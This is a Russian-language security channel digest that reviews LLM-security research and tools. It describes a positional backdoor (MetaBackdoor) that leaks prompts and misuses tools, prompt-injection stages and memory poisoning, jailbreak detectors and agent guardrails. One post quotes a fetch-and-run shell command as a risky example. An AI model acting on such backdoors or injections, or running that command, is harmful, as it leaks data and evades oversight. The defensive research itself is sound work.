📏💣 LLM можно взломать просто продолжая диалог

В мае вышла работа MetaBackdoor, где исследователи из Microsoft и Institute of Science Tokyo описывают новый тип backdoor-атак на LLM.
Главная идея исследования использовать в качестве trigger не содержимое prompt, а позицию токенов в контексте.

достиг определённой позиции в sequence → переключил поведение модели

Авторы называют это meta-trigger, потому что он связан не с текстом, а с метасвойствами последовательности.

Например:
📚 контекст превысил определённую длину
📍 токены оказались в нужном positional range
🔢 sequence crossed threshold

Trigger может возникать естественным образом, без участия атакующего.

💬 пользователь просто общается с AI
🧠 память агента накапливается
📈 context window становится длиннее
И в какой-то момент backdoor активируется сам.

🧬 Особенности моделей

Технически атака использует фундаментальную особенность Transformer-архитектуры, positional encoding. Для модели все токены это просто embedding-вектора.

Без механизма позиции фразы для модели были бы почти одинаковыми. Представьте перепутать «root granted admin» и «admin granted root».

Поэтому модели используют positional embeddings. В современных моделях чаще всего это:
🔹 RoPE (Rotary Positional Embedding)
🔹 ALiBi
🔹 Absolute positional encodings

В исследовании авторы показывают, что именно позиционная чувствительность модели может использоваться как скрытый канал управления поведением.

Во время fine-tuning в модель внедряется backdoor objective: если токен находится после определённой позиции → изменить response policy

Trigger не обязан быть точным числом. Бэкдор может срабатывать в диапазоне позиций, например после N тысяч токенов, что делает его значительно более устойчивым к случайным изменениям prompt.
Это особенно важно для production-agent systems, где длина контекста постоянно плавает.

🎭 Что можно сделать после активации

Авторы тестировали разные payload-сценарии.
Среди них:

🧾 System prompt leakage: модель начинает раскрывать скрытые инструкции.

🛠️ Tool misuse: агент начинает выполнять неожиданные tool calls.

📤 Context leakage: утечка памяти и истории общения.

🧠 Policy switching: изменение alignment и response behavior.

Похоже, эпоха «проверим prompt и успокоимся» начинает заканчиваться 👀

📄 MetaBackdoor: Exploiting Positional Encoding as a Backdoor Attack Surface in LLMs

Stay secure and read SecureTechTalks 📚

#CyberSecurity #AI #LLMSecurity #AISecurity #PromptInjection #GenAI #MachineLearning #ThreatModeling #AIAgents #SecureTechTalks

⚙️ Не scanner, а test harness для LLM

Сегодня на обзоре Promptfoo: open-source framework для red teaming и security testing AI-приложений. Инструмент работает как automated evaluation pipeline для LLM-систем.

Вы описываете:
🔹 prompt’ы
🔹 модели
🔹 attack cases
🔹 expected behavior
🔹 security assertions

Promptfoo начинает системно ломать вашу AI-систему, запуская батарею adversarial тестов.

🧠 Основные фичи

Решение строится вокруг evaluation-as-code. Тесты описываются декларативно (YAML/JSON), что благодаря чему проверки становятся воспроизводимыми и кастомизируемыми.

Например, можно автоматически проверять:

🔹 prompt injection resistance
пытается ли модель игнорировать system instructions
🔹 jailbreak robustness
можно ли обойти safety restrictions
🔹 data leakage
утекает ли system prompt, secrets или internal context
🔹 tool misuse
может ли агент вызвать запрещённые actions
🔹 policy compliance
соблюдает ли модель внутренние правила ответа

Инструмент умеет запускать массовые вариации атак: одна jailbreak-гипотеза → сотни автоматически сгенерированных вариантов phrasing.

🧨 Своевременная защита

Jailbreak зачастую проверяют уже после релиза, когда кто-то выложил exploit.

Promptfoo помогает настроить тестирование заранее. Security-команда может гонять adversarial testing прямо в CI/CD: новый prompt → автоматически прогнали red-team suite → увидели regression.

Для agentic systems это становится особенно важным, потому что один удачный prompt injection сегодня способен привести к не только к обходу бизнес логики, но и к утечке данных.

🔗 GitHub: https://github.com/promptfoo/promptfoo
🔗 Документация: https://www.promptfoo.dev/

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #PromptInjection #AppSec #AIsecurity #RedTeaming #DevSecOps #OpenSource #SecureTechTalks

🦠 Prompt injection превращается в malware

С появлением агентских систем prompt injection начинает напоминать полноценный malware lifecycle, где вредоносное воздействие закрепляется, распространяется и приводит к реальным действиям в инфраструктуре.

⚙️ От одного prompt к полной компрометации

Современные AI-агенты больше не ограничиваются диалогом. Они работают с:
🔹 MCP/tool calling
🔹 long-term memory
🔹 RAG и внешними документами
🔹 API и SaaS-интеграциями
🔹 filesystem и runtime actions

Это означает, что prompt перестаёт быть просто текстом, он начинает работать как операционный payload, способный менять поведение всей системы.

Например:
в безобидном на первый взгляд PDF оказывается скрытая инструкция → агент загружает документ через RAG → интерпретирует embedded prompt как легитимную инструкцию → меняет execution plan → вызывает tools → начинает выполнять действия уже за пределами модели.

🧠 Исследователи разложили атаку в стиле MITRE ATT&CK

Исследователи предлагают смотреть на prompt injection через привычную security-логику:

1⃣ Initial Access
Вредоносная инструкция попадает через email, веб-страницу, скачанный документ, базу знаний или пользовательский ввод.

Особенно опасны indirect prompt injection-сценарии, где агент читает данные из внешнего источника и сам воспринимает их как доверенный контекст.

2⃣ Privilege Escalation
Дальше идёт jailbreak.
Модель начинают подталкивать к обходу системных политик и политик безопасности.

3⃣ Persistence
Если агент использует memory layer, retrieval cache или shared context, вредоносная инструкция может сохраниться между сессиями.
Получается аналог persistence-механизма, когда один prompt приводит к долгосрочному изменению поведения.

4⃣ Lateral Movement
В мультиагениной архитектуре скомпрометированный агент начинает влиять на другие компоненты, например
через shared memory или  orchestration layer.

5⃣ Actions on Objective
Финальная стадия привычна любому безопаснику:
🔹 data exfiltration
🔹 unauthorized tool execution
🔹 business logic abuse
🔹 fraudulent actions
🔹 privilege misuse

🔗 Исследование: https://arxiv.org/abs/2601.09625

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #AIsecurity #CyberSecurity #Infosec #ThreatModeling #SecureTechTalks

🧨 AI-агенту дали shell. Что теперь делать?

PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.

Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.

Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.

Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval

Например:
агенту можно разрешить docker build, но запретить docker run --privileged.

🧠 Отличие от песочниц

Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.

🔗 GitHub: https://github.com/luckyPipewrench/pipelock

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks

🧠 OWASP взялись за безопасность памяти AI-агентов.

OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.

Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.

Безопасность в таком подходе почти отсутствует.

Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.

🔬 Решение OWASP

Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.

1⃣ Отравление памяти

Атакующий загрязняет слой памяти.

Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.

OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью

2⃣ Изоляция памяти

Для мультиагентных систем появляется другая проблема: заражение между агентами.

Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.

OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust

3⃣ Управление жизненным циклом памяти

Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.

Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка

🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks

🛡️ Jailbreak начали ловить по поведению модели

Большинство защит LLM работают довольно прямолинейно:

🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков

Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.


⚙️ Анализ движения внутри модели

В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться  на том, как запрос эволюционирует внутри модели.

Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.

А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.

🧪 Цифры

На псевдо-вредоносных сценариях система показала:

🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением

Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.

Для защиты от jailbreak это очень сильный результат.

🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.

🔗 Исследование: https://arxiv.org/abs/2606.07335

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks

🧠🛡️ Guardrails для AI-агентов начали переписывать execution plan

Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.

На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.

⚙️ В чем суть?

Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.

Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.

Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.

🧪 Как это выглядит на практике

Агент собирается выполнить
curl unknown.site/install.sh | bash
Классическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.

Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.

🧠 Зачем все усложнять?

Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.

🔗 Исследование: https://arxiv.org/abs/2606.05805

Stay secure and read SecureTechTalks 📚

#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks